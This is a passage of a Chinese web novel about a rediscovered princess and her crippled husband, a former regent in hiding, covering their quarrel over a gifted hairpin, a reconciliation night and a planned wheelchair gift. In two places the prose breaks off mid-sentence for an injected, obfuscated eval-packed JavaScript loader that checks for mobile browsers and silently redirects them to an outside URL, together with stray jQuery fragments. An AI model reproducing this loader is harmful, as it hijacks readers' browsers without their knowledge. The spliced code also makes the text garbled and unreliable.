才貌双全,深受母皇倚重的皇太女,与风仪出众,家世显赫的尚书令公子,分明是她过去听来便会全当神仙眷侣的一对,可其中滋味,竟也只有局中人才知冷暖。
翠花虽已贵为皇女,可思虑起事情来,仍是一时半刻难改乡野间养成的习惯。
听罢皇太女姐姐与姐夫的故事,她心底原是很为这对璧人难过的。
谁知身子却更加诚实,待辞别姐夫,回到寝殿,她竟脑袋一沾上软枕便沉沉睡去。
想来定是从那“有人比自己和相公更为情苦”的境遇里,偷得了一丝浅薄慰藉,这念头一起,便觉着自己也真是小家子气,实在不该。
这番心虚,在她于宫中足足待了八日,女皇娘亲终于肯放她回公主府时,更是攀上了新的峰峦。
女皇对她这颗失而复得的掌上明珠,仿佛怎样赏赐都嫌不够,此番回府又是车载斗量,令她眼花缭乱地赏下无数。
更令翠花意外的是,那位仅有一面之缘的姐夫卫江冉,竟也特意差人送来了礼物。
四周宫人环伺,翠花自不能像在乡间收下邻里的包子咸菜那般,当场就沉不住气地打开来看。
见那锦盒不大,她便接过捧在怀中,登上了回府的马车。
待车驾抵府,气派的公主府前已经跪好了一片恭候她回府的下人。
翠花却顾不得一一记清那几十张陌生的面孔和他们各自的职司,目光只急切地掠过老管家,精准捉住了他身后的宝钿,脱口便问:“我相……淮澈呢?我不在这几日,他身子可好?没病没疼吧?可有一顿不落地按时用饭?”
她尚记得柳清姿的叮嘱,入了京,涉及她和淮澈的关系,需谨慎着言行,最好别于外人面前唤相公。
淮澈终归还没有驸马名分,她若一味待他如正室夫君,只会平白为二人招来麻烦和口舌。
她却不知,单是这副毫不掩饰的牵挂情态,已足以让府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214045|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中众人暗自庆幸,早先听进了宝钿和几位侍卫的话,未真将淮澈视作与自己一般身份的下人看待。
自然,这也得益于那位爷确有几分能耐。
宝钿几人虽是一路跟着翠花回京,到底来得晚,与府中原先已有磨合的其他人存着些隔膜。
然而不等老管家费心调和,淮澈竟已照搬了来时的路数,不动声色地与府内仆役间周旋开来。
说来也是匪夷所思,他明明双腿不便,行动艰难,可凡与他接触过的人,竟无一人能说出他一点不是。
如此一来,初来乍到,本就隐隐拿他当主心骨的宝钿等人,也顺理成章地借他东风,迅速与众人熟络,各归其职。
后来女皇的赏赐一拨拨送入府中,种类之繁,数量之巨,令老管家也不免对着堆积如山的物品册子发愁,又是淮澈不着痕迹地伸以援手,只将一切打理得井井有条,却又没有丝毫抢功的意思。
老管家至此明白,这爷待人圆融却不世故,处事周密而无刻板,心思剔透更识时务,绝非只靠外表或昔日情分绑束贵人之辈。
哪怕出身寒微又残了腿,日后在这公主府里,地位也绝不会低,于是从老管家起,上下人等如今都敬他一声“淮爷”。
宝钿一面引着翠花往淮澈住处去,一面低声回禀:“公主,奴婢看淮爷的身子是大抵无碍,他也并未说有哪里不适,饮食……也基本如常。”
翠花点点头,心下明了。
淮澈双腿不便却极尽自理之能,除却不愿给别人添麻烦,更因他打骨子里就是个自尊极高的人,绝不肯沦为吃喝拉撒皆需人伺候的废人。
否则当时也不会刚刚伤愈便让她帮忙制了夹板和拐杖,纵使每重新学会做一件事都要摔很多次,如今被夹板磨破皮肉仍是常事。
他在她面前尚且不时强撑,她不在时,又怎么会轻易将不堪的一面示于外人呢?
她无意责怪宝钿等人照顾不周,只是行至淮澈的房门前,脚步顿住,回身轻声吩咐:“晚膳备得丰盛些,直接送到相公这里,我与他一起用。”
宝钿应声退下,而翠花则待那脚步声消失在廊庑尽头,才推门而入。
门扉敞开,刚刚还勉力维持端庄的公主殿下霎时现了原形,一如昔日带着一身烟火气从市集归家,雀鸟投林般欢欣地扑向那个倚坐窗边的身影。
少女的藕臂紧紧环住男人劲瘦的腰身,脸颊眷恋地蹭了又蹭,声音亦浸着蜜糖般的思念:“相公!”
“相公。”她声音闷闷的,委屈巴巴地撒娇,“我好想你啊!”
整整八日未见,少女春思也好,满腹见闻也罢,她有好多话想跟他说。
她在他怀里腻了许久,直至指尖触及他愈发清晰的脊骨,秀眉不禁蹙起:“摸着怎么好像又瘦了,定是没有好好吃饭,对不对?”
她明知故问,非要听他亲口承认,好叫他知道,她心疼了。
淮澈修长的手指几不可察地一颤,随即也紧扣住怀中温软的娇躯。
她在宫里待了八天,虽赏赐不断,足见圣眷,可那九重宫阙之内,人心隔肚皮,他比谁都清楚其中的波谲云诡,叫他如何能不为她悬着一颗心,日夜难安,食不知味?
淮澈刻意转了话头,目光落向她方才顺手放在书案上的锦盒,嗓音略沙哑:“这也是女皇陛下赏的?瞧你一路拿手捧着,格外中意?”
经他提醒,翠花才发现自己竟将卫江冉所赠之礼一并带了进来。
提及姐姐姐夫,她也有颇多感慨,才不是要借别家夫妻的不幸来映衬自家圆满,她不是那样的人!
在淮澈面前,她不想维系什么体面和矜持,见他问起,便伸手拿过锦盒,径直打开:“这个不是娘亲赏的,是姐夫给的,相公,我和你说,我那位皇太女姐姐也已经成婚了,驸马是尚书令的公子呢,仪表堂堂的……”
她说着,盒盖弹开。
只见内里的丝绒衬垫上,静静躺着一枚芙蓉玉簪,玉质通透,呈淡雅粉紫,簪头雕琢的簪花天然蔓着如云似雾的絮状纹路,宛如真实花瓣舒展,精巧非凡。
女儿家哪有不爱这粉嫩精美之物的?
翠花纵然知晓女皇娘亲所赐珍品中大抵也有类似的,此刻将玉簪拈在指尖,仍爱不释手。
她兀自低头赏玩,唇角噙着笑,却不防一抬头,撞见淮澈骤然铁青的面容。
簪旁,还躺着一张折叠齐整的洒金笺纸,其上墨迹清隽,写着一行翠花根本不认得的字:
花簪斜映春山色,胜却桃李寄月华。
6.第六章
淮澈在翠花面前向来是没什么脾气的,可此刻那张俊美昳丽的脸上,却覆上了一层前所未有的阴翳。
他将薄削嘴唇抿得冷硬而平直,眼底方才因她归来而浮现的细微光亮,已尽数沉入幽暗,似有被刺伤般的痛楚汹涌漾开。
可翠花根本不认得洒金笺上的字句,更无从知晓他为什么会骤然变了脸色,便只瞧着他紧绷的俊颜,不明所以地开口:“方才不还好好的,怎么突然就恼了?我又哪句话不中听了?”
她从未见过淮澈动这么大的气,心里不免泛起嘀咕,可左思右想,也不觉自己做了什么能惹他不快的事,因此比起针锋相对地与他置气,她心头更多的,还是茫然与困惑。
淮澈修长的手指拈起那张笺纸,指节因用力而泛出青白色,他声音低哑,似裹寒冰:“你这是哪里来的好姐夫?明知你是妻妹,非但不避嫌,还赠你如此意味不明的物件?”
翠花这才恍然,问题原是出在她仍捧在手中的玉簪上,可她愈发糊涂了:“皇太女姐姐不在京中,去琼州养病了,我千里迢迢被母皇寻回,姐夫代姐姐赠我一件见面礼而已,这都不行?”
她此番回宫,除了女皇的赏赐,收到其他人的礼物也不可谓不多。
女儿家的珠宝首饰无非钗环簪珥,她母皇宫中的四位男妃,也有两位赠了她发簪,这又不是香囊荷包之类私密暧昧的东西,姐夫怎么就送不得了?
她言辞坦荡,神情磊落,可淮澈却只从中捕捉到了一个尤为关键的讯息,便是她的皇太女姐姐,如今并不在京中。
一个妻子不在身边的男子,赠簪于夫君不在身边的女子,还附上这般悱恻的诗句,能安什么好心?
他将笺纸掷到她面前,声线冷沉:“你可知他写了什么?”
翠花低头一瞥,理直气壮:“反正上头又没我名字里的字。”
她识得的字,两只手就数得过来。
连同她自己的名字,都是招赘淮澈后,他握着她的手,一笔一画教出来的。
而之所以两年光景只学了这些,倒并非她天资愚钝,实在是淮澈每每教习,总是教着教着就会教到床榻上去。
不论她最终学不学得会,那该付的“学费”都半分不能少。
一来二去,翠花索性不学了,想来村中十之八九的人连自己的姓名都不会写,她仅仅会这些,已足够她“傲视群雄”了。
淮澈喉结滚动,一字一句,如同从齿缝间艰难碾出:“花簪斜映春山色,胜却桃李寄月华。”
翠花顿时语塞,并非不想继续争辩,实是诗句里的每个字她都听清了,连在一起却如闻天书。
而淮澈念出口后,也蓦地回神,意识到自己真是气昏了头,凭他家小娘子的学识,听他读原诗与自己看文字,恐怕没什么分别。
他周身凛冽的寒意微微一滞,扯动薄唇,无奈又艰涩地补上解释:“是说……你发间花簪与春山景色相映,这般风致,比月下桃李更美更艳……”
这回翠花听懂了七八分,可她又哪里品得出其间的婉转情致,仍不觉有何处不妥:“我同姐夫正是在假山凉亭遇着的呀!那夜的月亮也确实挺亮,我散着头发,便随手拾起桃枝绾发,他说的都是眼见实情,夸我好看,那不更是大实话吗?”
淮澈:“……”
他一时语窒,锋利的喉结上下滚动,一口气堵在胸口,吐不出,也咽不下。
吐不出,是因他看出翠花至少此刻是问心无愧的。
纵使成了身份尊贵的公主,仍是往日单纯明澈的模样,一如他本以为自己必死无疑,却在睁眼后,望见的那个她。
可他那自幼教养的皇侄,当年他皇兄驾崩,面对内忧外患的江山社稷时,又何尝不是扯着他的袖口,将他视作唯一可以放心依赖的人,哭着说“皇叔,我怕”?
皇家的富贵与权柄,最是蚀骨灼心,能够改变太多东西了。
咽不下,却是因他从她的话语中,听出了一丝令他痛心的苗头,她此刻予以他的这份心意,大抵同样不会长久。
她散着发丝,与另一男子花前月下,相谈甚久,久到能让她从容绾发,也定是让对方窥见了尤为惊艳美好的一面,那人才会赠簪赋诗,极尽溢美之词……
更何况……她方才不还脱口夸了那人“出身尊贵”,“仪表堂堂”吗?
思及此,淮澈深邃的眉宇间掠过一丝极阴郁的自嘲。
他侧身避开了她欲探过来十指相扣的手,声音疏淡:“我今日身体不适,实在无力服侍公主,还请公主回吧,是我不中用,扫了您的兴致。”
翠花方才见他神色稍缓,还以为他这通莫名其妙的飞醋来得快,去得也快,不料他竟是一醋两吃,换着法子来酸她。
听他阴阳怪气地连唤两声“公主”,又见他当真一言不发地不再理会她,翠花心头也涌起几分委屈与气恼。
一时只觉自己这八日来的牵肠挂肚是喂了狗,到头来竟换来他无凭无据的猜疑,一点道理都不讲。
她绣鞋一跺,将玉簪与笺纸一股脑儿地塞回锦盒,抱着盒子便走,临到门前,更是重重摔上房门,发出了“砰”的一声闷响。
最终那桌她特意吩咐厨房备下的丰盛晚膳,也只得她一人独享。
她尚知轻重,没声张他们之间的口角和矛盾,在下人面前抱怨淮澈不是,只沿用了他敷衍她的理由,推说他是身子不适。
当然,下人们也难免莫名,这淮爷虽瞧着单薄体弱,可前几日该办的事一样没少办,怎地公主一回府,反倒突然病了?
可转念一想,保不齐公主就吃这一套,于是无人再敢妄议,一个个只依命行事。
而待翠花吃饱了,也气足了,听闻宝钿禀报淮澈果真拒了她差人送去的饭食,心肠便先软了下来。
她将自己这间宽敞过分的寝殿打量一圈,若有所思地轻叹:“其实这屋子太大,也不好。”
宝钿不解其意,只附和道:“公主是觉得空旷吗?女皇陛下赏下的物品中不乏器物摆件,公主他时得闲可去库房挑选些来陈设。”
翠花却摇了摇头,心道这成了亲与未出阁的姑娘,思虑起事情果然不同。
她嫌屋子大,不过是想起了从前在那间长宽皆不足五丈的茅草屋——那时她即便与淮澈闹了不快,也总能床头吵架床尾和。
毕竟淮澈走不出他们家的方寸小院,而她再怎么赌气,也不可能有家不回,跑到外面露宿乡野。
那么既然闹归闹,夜里终归要同榻而眠,于他们这般心中装着彼此的小夫妻而言,便没有一回缠绵解决不了的事儿。
若真有,就大不了再多缠绵几回。
关于如何拿捏自家相公,翠花有的是机巧和手段。
她略一沉吟,抬起一双莹润着流光的乌黑杏眸,望向宝钿:“府中为我备下的寝衣之中,可有比我身上这件更轻薄的?”
时令虽已出伏,然梁国地处南方,空气里仍黏着几分未散的燠热。
女皇心细,顾虑翠花之前久居北地渊国,难耐酷暑,早早就往府中拨下了大批冰炭。
此刻寝殿内自是清凉宜人,宝钿虽不解她为何仍嫌热,却还是恭敬回话道:“确是有的,只是公主您胸前……奴婢入府这几日,已吩咐了裁缝加紧修改,可这几日处暑方过,她们便先紧着晚夏初秋的衣裳赶工了。”
翠花与一父所出的皇太女姐姐虽然容貌皆生得极像女皇,身段上却是天差地别。
皇太女肖父,身形高挑,肩背薄而挺括,加之自幼习文练武,马背上的风姿不逊男儿。
女皇原以为翠花这个二女儿亦是如此,因此备下的衣物多参照长女尺寸,岂料翠花却连身姿都更像自己,秾纤合度,曲线曼妙,尤其胸前丰腴,甚至青出于蓝。
只是衣裳是否完全合身,翠花倒并不十分在意。
或者说,对于她接下来要做的事情,那地方恰到好处的不合身,反而更易助力她成事。
她弯起一抹浅笑,吩咐宝钿道:“不妨事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217474|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就拣那最薄的那件,帮我取来吧,对了,再盛一碗我方才用的芋艿排骨粥,之后你便去歇息,今晚不用再来伺候了。”
宝钿领命退下,寝殿内重归安静。
翠花缓步走至梳妆台前,伸手抽出发间木簪,顷刻青丝如瀑倾泻。
她对着镜中媚意天成的倒影眨眨眼,眸底掠过一丝狡黠灵动的光。
“狗男人。”她心下暗啐,“竟敢耍性子,还敢闹绝食,看我怎么收拾你。”
与成竹在胸的翠花截然不同,公主府另一隅,淮澈仍石像般僵坐在房中圈椅上,窗外暮色渐浓,蚕食尽最后的天光,他却连盏灯都未点。
往事是穿肠腐骨的毒,在黑暗中无声蔓延,寸寸侵蚀过他的四肢百骸。
两岁时父皇驾崩,年长他二十九岁的二皇兄屠尽其余六位兄弟,唯独留下了外邦进贡舞姬所出,于年岁,于血统,皆构不成威胁的他。
十六岁时,为皇权算计了一辈子的皇兄未能享到父皇三分之二的寿数,许是平生杀孽过重,登基后子嗣接连夭折,龙驭归天之际,唯留下一个年仅六岁的幼子,托于他手。
他临危受命辅佐幼帝,放眼望去,除了龙椅上啼哭不止的皇侄,就是龙椅下因酷吏横行人人自危的黎民,三次封禅后被消耗一空的国库,以及边防空虚,豪强林立的疮痍江山。
往后十年,他凭摄政王之尊,殚精竭虑,总算为摇摇欲坠的大渊王朝稳住了社稷。
然而飞鸟尽,良弓藏,内忧外患一旦平息,他便成了新君亲政路上最后,也是最碍眼的东西。
这些,都是他尚为大渊摄政王裴怀彻时的往事。
后来如那少年天子所愿,皇叔裴怀彻“死”得干净彻底,而白石村中,刚刚丧父不久的孤女刘翠花,从山沟里捡回了一个名为淮澈的便宜相公。
裴怀彻将唇角扯出凉薄而苦涩的弧度,他想,人性大抵就是如此,能共患难,却难同富贵。
只能怪他这条命贱,竟接连撞上两位“贵人”。
他那予以他第二次性命,也许下他一世静好的小娘子,根本不是什么乡野村姑,而是梁国女皇失散多年的掌上明珠。
昔日他碍了皇侄的路,皇侄便不惜勾结奸佞,豢养外戚,也要将他除之后快。
而今他又快碍着她的路了,她待他,会是如何手段呢?
裴怀彻从来不是高坐庙堂的文弱亲王,摄政期间曾四度亲征,方杀得西邦诸部族闻风丧胆,无人敢来再犯。
眼下旧事如潮汹涌,他指节猝然发力,掌中茶盏已应声而碎。
瓷片尖锐,深深嵌入皮肉之中,有殷红血迹沿苍白腕线蜿蜒而下,他却对其间痛楚浑然不觉。
直至恍惚间听得门扉轻响,他才蓦地回神,下意识松开了紧攥的手。
亲征时受过不少大小创伤,后来差点死了一次,又彻底废了他的双腿,如今每逢阴雨必疼得钻心,割破掌心这点小伤,于他而言微乎其微。
可沾满鲜血的手掌却湿滑黏腻,一时未能握稳身旁的拐杖。
令他艰难迈出第一步时便失了平衡,拐杖脱手而出,他整个人也重重跌倒在地。
钝痛迟来地蔓延开来,却不源于手掌和双腿,而是心口那处,绞得他一阵阵眩晕。
他仿佛厌了,也倦了,明知以狼狈匍匐于地的姿态示人只会加速她的厌弃,却仍在灭顶的无力感中,良久未能起身。
烛火被人点亮,驱散了一室昏暗。
而当他强撑起这具由内而外都千疮百孔的身体,便望见了那道格外袅娜的纤影。
她只着一件藕荷色的软罗寝衣,料子轻薄,被胸前丰盈一撑,广袖飘逸下,更衬得纤腰不盈一握,柔婉欲折。
于是裴怀彻的满腹苍凉皆在灯火中化作了怔忡过后的痴望。
翠花所想不差,她只要略施小计,便足以将自家这狗男人稳稳拿捏。
只是杀鸡焉用宰牛刀,论起折腾他自己这件事,狗男人下起手来,比她更狠更黑。
7、第七章
翠花早已见过他太多狼狈的模样。
当初刚被她从路边捡回来,他浑身是血,遍体鳞伤。
养伤期间,是她日日为他宽衣解带,换药擦拭。
后来他不甘心只能瘫在床上,能够蹒跚迈出的每一步,都是他拖着一双残腿,在她面前一次次摔倒又爬起……
正因如此,她此刻虽然心疼,却不会被他身上的血迹或跌倒的狼狈吓慌了神,见他摔得自己起不来身,她莲步急移,毫不迟疑地近身上前,俯身仔细检查他伤到了哪里。
右手掌心的血迹来自碎裂的杯瓷,而他重摔在地的膝盖,倒得益于公主府的地面平整,并没有擦破皮,只是在着地的位置跌出两块青紫。
府中虽然没有设置常驻郎中,但各类内服外用的药品一应俱全。
翠花立即唤来附近的下人取药,自己则轻车熟路地将他搀至床榻,取来清水浸湿帕子,先为他清理伤口。
自她穿着这件寝衣踏入房门,裴怀彻的目光便再难从她身上移开,这会儿被她近身,更是喉结微动,别开眼低声道:“墙边柜中有我的外袍,你……披上些,贵为公主,这样被下人瞧见,不妥。”
翠花却不动,方才她叫来的都是侍女,眼见她衣料轻薄,怎么会有哪个不长眼的再带男人过来?
而她都心知肚明的事情,这个素来心思缜密的男人自然更不会误判。
他让她遮掩,无非是他自己看不得她这般衣着——明明心里面醋意未消,目光却不由自主地流连在她身上,心绪难平,有火也发不出。
翠花要的正是这个效果,当然不会随随便便顺他的意:“她们便是看不惯,也不敢甩脸色给我,你以为谁都能和你一样?”
裴怀彻试图抽回正被她擦拭伤口的手:“我也未曾甩脸色给你。”
可他刚有退缩之意,指尖便被她轻轻攥住,还遭惩罚似的,在他手背上轻拍了下:“再睁眼说瞎话?你明明现在就是,明知你每次在身上添了伤,我都心疼得紧,却偏不肯谨慎着照顾自己。”
裴怀彻长睫低垂,无法反驳。
毕竟至少到此刻为止,她都表现得比他更在意他的身家性命,伤没伤,疼不疼。
不过他随即又想起了他那皇侄,也曾在初闻他亲征受伤时,哽咽着问他能不能不要这江山了,若定要他流血受伤才能换来坐稳身下的皇位,那么宁可不要做皇帝,只给他做乖侄儿。
裴怀彻不是没察觉,随着小皇帝渐渐长大,因为一直活在他的庇护和管束下,到底是与他生了嫌隙。
也不是不知道自己功高震主,以至满朝文武皆唯他是尊,没有任何一个臣子敢越过他,去把政事拿去与小皇帝私下商讨。
可他始终不愿相信,这份叔侄情谊,竟真会被权力腐蚀成你死我活的嫉恨,由他亲手养大的小皇帝不仅要他死,还要他背负着蓄意谋反的污名,死得身败名裂。
他已经许久没有回想起这些往事了,两年前翠花毫无保留地将一颗真心捧到他面前,确是一寸寸捂热了他凉透的心。
可相似的终局,是不是不久后又要在他身上重演了?
思及此,他再看向她的目光之中,便融进了极为复杂的情愫。
贪恋,嗔怨,痴缠交织,却偏偏无法如当初被皇侄寒了心时那般因怨生厌,即便后来听闻小皇帝为他平反追封,也只觉荒谬可笑,早已不屑去探究其中是否真存着愧疚和懊悔。
而既然怪不得她,他便任由她仔仔细细上了药,将伤口包扎妥当。
接着她又盛了碗温热的排骨粥,舀起一勺,先在自己莹润的唇上试过温度,才轻轻喂到他嘴边。
见他肯乖乖进食,翠花不由唇角轻扬,轻声感慨道:“我之前一直觉得你是少爷的身子村夫的命,如今看来倒是我瞧短了,你命里原就带着贵气,不过来得迟了一点。”
裴怀彻被她这话噎得一呛:“你想说,你是我命中的贵人?”
翠花杏核眼弯弯,大言不惭地应承:“我们是彼此命中的贵人呀,未遇见你时,我所能想到最好的日子,不过是把豆腐摊开成铺子,再给我爹爹招个入赘女婿,将来生的娃娃随他姓刘。”
裴怀彻面无表情地泼她冷水:“你以为女皇是会容你抛头露面地开豆腐铺子,还是准你的孩子放着郦氏皇姓不要,去姓刘?”
翠花递粥的手一顿,像是才想到这层,却仍强辩:“母皇赏了我那么多银子呢,我盘个铺子出手艺,雇人经营还不行?至于娃娃的大名不许姓刘,咱们私下给取个姓刘的小名总可以吧!”
裴怀彻低头默默吃粥。
他这会儿心中喜忧参半,喜的是他家这小娘子面对皇家权柄时的定力,确实比他那皇侄强,忧的却是她这份镇定,怎么看都更像是源于缺心眼儿。
若翠花一辈子安居乡野,只是个村姑,她那点机灵自是够用的。
譬如当初招赘他的时候,她就曾坦言并非全然出于心善或贪图男色,舍不得他那张脸。
她对他道:“我爹不在了,家里又穷,除非给镇上的富户做小,否则是嫁不进什么好人家的,况且这乡里乡亲的适婚男儿,哪家都是兄弟妯娌一堆,我没有娘家人撑腰,在熬成婆前,肯定得忍气吞声小半辈子。”
她说自己虽是穷人家的女儿,却是爹爹手心里的宝,受不得旁人的委屈,所以倒不如招个像他这样无依无靠的入赘,日子是清苦些,总归清净。
但这点尚且能在乡间自保的小聪明,置于人人各怀鬼胎的帝王家,又如何够看?
裴怀彻决意随她入京,正是这个原因。
经历过皇侄的背刺,他岂会仍不知人心易变?
可恰如授命托孤时无法干脆舍弃皇侄,去择那条安逸稳妥的道路,他又怎么能眼睁睁看着这个曾义无反顾委身于他的小娘子,独自沉浮于诡谲云涌的宫闱中?
一勺一勺,裴怀彻安静地喝完了整碗粥。
随后则抬起那只刚包扎好的手,不由分说地攥住了她雪白纤细的手腕。
翠花眼波盈盈,半推半就地睨他一眼,任由他将自己带入榻间:“方才不是还说身体不适,没力气服侍公主吗?”
他那叫没力气?即便别处没力气,那地方摸起来可是力气充足。
裴怀彻不置可否:“公主既亲自喂粥,我哪里敢辜负公主的心意?”
窗外夜色沉沉,待烛火被翠花熄去大半,便只余一盏绢灯幽幽亮着,将罗汉床上交叠的人影投在墙面,化作缠绵摇曳的暗色剪影。
因为裴怀彻的腿疾缘故,以往亲密之时多是翠花在上,跨坐于他腰间行事。
他自然舍不得全由她使力,尤其是贪欢多次之际,每每到了后面总是他扶着她的腰,借着自己手臂的力量助她起伏吞吐。
可今晚他却一反常态,只将她轻轻压入锦褥之间,又取来木枕垫高残腿,全凭腰腹发力,以不容她回避的力道占尽主动,将这一夜暗涌的情潮彻底点燃。
他刚刚包扎过的右手犹带着清苦药香,灼热指尖隔着一层纤薄衣料,烙铁般烫入她的皮肉,偏又克制地轻颤着,从她散落如云的墨发,一路抚至玉脂般的后颈,所过之处皆激起她一浪浪细密的战栗。
翠花只觉被他触过的每一寸肌肤都漾着酥麻的痒,呼吸渐渐急促,意乱神迷间,竟未听见他喉间逸出的那一声极轻叹息。
直至三更梆响,满室波澜方歇。
他显然是将自己勉强得狠了,气息沉沉,眼底暗潮许久未退,如风雨压城。
翠花也被他折腾得浑身绵软,待稍稍攒回些力气,欲起身为二人打理,才惊见他右手缠绕的白绢早已松脱地滑落腕间,露出底下洇出的血色,而那被他垫在膝下的木枕,更将本已磕伤淤青的膝盖硌出一片触目惊心的红肿。
翠花心头一刺,又是心疼又是恼:“还像话吗你?是真想死在我身上不成?”
裴怀彻却只望着她笑,眼中情绪深不见底,若迟早要遭她厌弃,他倒真愿结局如此,好歹能在她心间刻下一笔,教她记他一辈子。
翌日晌午,翠花喂过腿手皆伤的裴怀彻用了午膳,才揉着酸软的腰肢转回寝殿。
她并不晓得的是,经此一夜,裴怀彻在这公主府中的地位又悄然攀升了一节。
毕竟单凭他们换下衣物上的痕迹,下人们就能将他们昨夜发生的种种窥出端倪。
无论是翠花被撕坏的寝衣,还是她在他房中滞留的时辰,都足以印证这位“淮爷”虽病虽残,于风月一道上,都不乏让他们公主承欢达旦的能耐。
那么面对这个动辄能对公主通宵吹枕边风的人,谁再妄图触他的霉头,不是给自己找不自在吗?
不过下人们的这些心思,此刻的翠花与裴怀彻皆无暇理会就是了。
裴怀彻仍陷在心烦意乱的惘然不定中,无心他顾,而翠花则是因为近日的一番见识,暗自酝酿着一个惊喜,想送给她那碍于腿疾困于家门中两年的相公。
此番回宫,她不仅认回了女皇娘亲,还认了一双由娘亲与继任男后所出的孪生妹妹。
四妹郦婵娴雅博学,琴棋书画,诗词歌赋无一不精,年纪轻轻便颇负才名。
五妹郦媛则性喜经营,此时年方十二,虽尚未及笄开府,却已用月例钱在这湘京中盘了好多间铺子,对各街各巷都售卖哪些货物如数家珍。
翠花与两位妹妹皆相处颇洽,也正是从五妹口中得知,湘京城里有几家木具铺子会售卖轮椅,专供腿脚不便的人使用。
她过去也知道有轮椅这种器物,只是久居于渊国的边陲乡村,平日难得一见。
加之乡路崎岖,她每天推着小车去镇上卖豆腐都要行得小心翼翼,想来她即便设法搞来一辆,也很难派上用场。
如今却是不同了,且不说湘京作为梁国都城,道路又宽又平整,她这公主府内也大得能跑马,容辆轮椅畅行无阻完全没有问题。
经由五妹随口一言,翠花立刻存了心思,她堂堂公主又不差银子,怎么着也要为她相公弄来一辆最称心的。
昨日回府安顿后,她便向管家吩咐下去。
管家办事周全,言说这几日便让有样品的铺子先送几辆过来,待“淮爷”试坐后选定了合意的,再按需定制。
公主府的事,木具铺子那边自然不敢怠慢,傍晚翠花正欲去寻裴怀彻用膳,管家便回来报,已有两家铺子送来了三辆轮椅,请示是否立刻推去给“淮爷”试试。
翠花眸光一转,浅笑道:“明儿一早吧,咱府中的园子白日景致更好,我亲自推他转转。”
若在以往,裴怀彻手和腿都伤了,既绑不来夹板,也撑不得拐杖,只怕要困于床榻数日,可如今翠花已经是银钱多到花不完的公主了,自有本钱为他张罗,解他困顿。
晚膳时分,藏不住心事的翠花眉梢眼角皆染着喜意,见他右手包得跟粽子一样,举箸用饭却依旧斯文雅致,不由出言调侃:“这是谁家的小郎君呀,生得这般俊俏,不如跟本公主回府,荣华富贵予你,金山银山也赠你。”
裴怀彻哪里在意什么荣华富贵和金山银山,若他能选,他宁愿翠花只是乡野村女,正如她曾许给他的那般,一屋二人,三餐四季,共沐朝阳,同赏暮雪,白首不离。
他执着乌木筷的伤手一滞,袖口滑下,露出一截清瘦腕骨,唇角牵起自嘲弧度:“我一个双腿重残的废人,随你踏入了这公主府,只怕此生都要困于高墙深院中了,要富贵金银有什么用?”
翠花强按捺住险些脱口而出的惊喜,一双明眸又亮又美,全然不顾他微蹙的眉头,直接夹了只肥嫩的鸡腿放入他碗中:“那就快吃个鸡腿,补补腿,做人嘛,总得存些念想,说不定明早一醒,就能健步如飞了。”《 》
8.第八章
像裴怀彻这样双腿落下残疾,又自尊心颇高的人,往往最忌讳的,便是旁人将他的腿疾明晃晃摆到台面上说。
可幸也不幸,照料他养伤,又陪伴他熬过漫长休养阶段的人,是翠花。
自始至终,他家这心性纯直的小娘子,都没想过要对他双腿废掉一事加以遮掩。
当他在她那方土榻上悠悠转醒,便听她直截了当地宣判了他的伤势:“你醒了?知道你疼,但别乱动,你身上好多伤,越动越疼……哦对,你大概也动不了,你两条腿伤得最厉害,好几处骨头都戳出来了,哪怕以后养好了,也很难再走路了。”
后来他入赘给她,昔日马背上驰骋疆场的摄政王爷,不得不终日蜷于方寸床榻间,认了余生都要拖着这双废腿苟延残喘的命,可对待他这个新婚夫君,她依旧言行无忌。
譬如嬉闹时,她会把他要拿的物件高高举起,恶作剧似的激他:“有本事就站起来拿呀!”
又譬如拌嘴时,她一旦说不过他就会一溜烟地跑远,知他追不上,便站在远处冲他吐舌头:“反正你抓不到我,不讲理就不讲理。”
甚至她后知后觉地意识到他会在意,反倒愣住了,半晌沉吟,才轻轻勾住他的小手指道:“可你的腿就是不会好了呀,总不能为一桩改变不了的事,就闷闷不乐一辈子吧?”
裴怀彻提起乡亲邻里间那些毫不避讳的闲话:“有人说你是到了年纪,却迟迟等不来媒人上门,怕自己做成老姑娘,才连我这个终日只能瘫在床上的残废都不挑。”
在他还是权倾朝野的摄政王时,是从未动过娶妻念头的。
世人皆道他狼子野心,他却打心底里就没想过篡权夺位,而既打算有朝一日归政于小皇帝,他便不愿多生枝节,再给自己徒添一门外戚。
毕竟他只能管好自己的心,却难保攀上他的氏族会不会甘心假以时日便随他退出权力中心。
更加之终日埋首国事,儿女情长于他本就无心他顾。
可昔日无心,不意味着如今半推半就地结了亲事,就能以一切非他本愿为由,任凭这个已与他有了肌肤之亲的小娘子养他一辈子,还因招了他这个残废赘婿而受人指摘。
翠花却浑不在意地笑起来,杏核眼弯弯:“他们又没说错,我若家境好些,有爹娘兄弟撑腰,便是招赘,也不会招你。”
裴怀彻从前是立于整个大渊权势之巅的男人,又文韬武略,还生了张颇为俊美出众的脸,自是不乏名门贵女投怀送抱,他通通懒得理会罢了。
却万万不曾想,自己有朝一日得以娶妻,竟会被自家娘子如此直白地“嫌弃”。
他心头刚漫起一丝恼火涩意,她却猝不及防地凑近,温软的唇如蜻蜓点水,轻轻啄在他的嘴角。
